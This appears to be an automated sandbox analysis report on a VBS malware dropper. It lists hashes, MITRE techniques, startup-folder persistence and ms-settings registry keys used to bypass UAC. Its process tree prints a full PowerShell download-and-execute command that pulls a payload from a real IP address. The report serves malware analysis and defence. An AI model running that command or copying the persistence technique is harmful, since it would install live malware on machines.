5399da749fe07467570bd0d81e3733b140df33dd75670a57362a6f4aa0dcafca

Reason

Machine shutdown

General

Target

dl.vbs
Size

587B
MD5

a9552114991c6ae378830ed3955d4414
SHA1

8655717e2a3ced90d352a7faf2586a73cefea7d8
SHA256

5399da749fe07467570bd0d81e3733b140df33dd75670a57362a6f4aa0dcafca
SHA512

a50b12dc7c531ec699a437fd8ab669aa70a477da49dd89ff16ef75ef68260963c82647a57c9b0a465ba106f9fa8302d534185ecf7b303f6f50493edc20736e6f

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://94.131.117.72/ldvb/pw

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2792	powershell.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_uyharj4_AA.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_uyharj4_y.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_uyharj4_.lnk	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2792	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\ms-settings\Shell\Open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\ms-settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\ms-settings\Shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\ms-settings\Shell\Open	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000_CLASSES\ms-settings\Shell\Open\command\ = "C:\\_uyharj4_\\_uyharj4_i7.exe"	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeShutdownPrivilege	1100	shutdown.exe
Token: SeRemoteShutdownPrivilege	1100	shutdown.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 2688	2176	WScript.exe	31
PID 2176 wrote to memory of 2688	2176	WScript.exe	31
PID 2176 wrote to memory of 2688	2176	WScript.exe	31
PID 2688 wrote to memory of 2792	2688	cmd.exe	33
PID 2688 wrote to memory of 2792	2688	cmd.exe	33
PID 2688 wrote to memory of 2792	2688	cmd.exe	33
PID 2792 wrote to memory of 1100	2792	powershell.exe	35
PID 2792 wrote to memory of 1100	2792	powershell.exe	35
PID 2792 wrote to memory of 1100	2792	powershell.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dl.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Public\Documents\vs1.cmd" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -Command "iex (new-object net.webclient).DownloadString('http://94.131.117.72/ldvb/pw')"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Windows\system32\shutdown.exe
      "C:\Windows\system32\shutdown.exe" /r /t 15
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1100

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:792

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\vs1.cmd

Filesize
140B

MD5
1fd5100daa7e61dcf5e78751c0c21c1d

SHA1
50c35a4a38e02af8d57040cd149904927bc0a011

SHA256
c8354622efb7cb6c6c2502242d8596131e379586f087d68cad088d6aafcc0ede

SHA512
ffeb501f0e4253481dfe56968d708cc7a670088a62a7e0b2b05e5a50d3ad85dad47c1420e3582e29dfd3d0286c3755f0512dd8d28bf59920f1dd4e18e9075925

Download Submit
memory/2792-13-0x000007FEF52EE000-0x000007FEF52EF000-memory.dmp

Filesize
4KB

Download
memory/2792-16-0x000007FEF5030000-0x000007FEF59CD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-15-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2792-14-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2792-17-0x000007FEF5030000-0x000007FEF59CD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-18-0x000007FEF5030000-0x000007FEF59CD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-19-0x000007FEF5030000-0x000007FEF59CD000-memory.dmp

Filesize
9.6MB

Download
memory/2792-32-0x000007FEF5030000-0x000007FEF59CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

Errors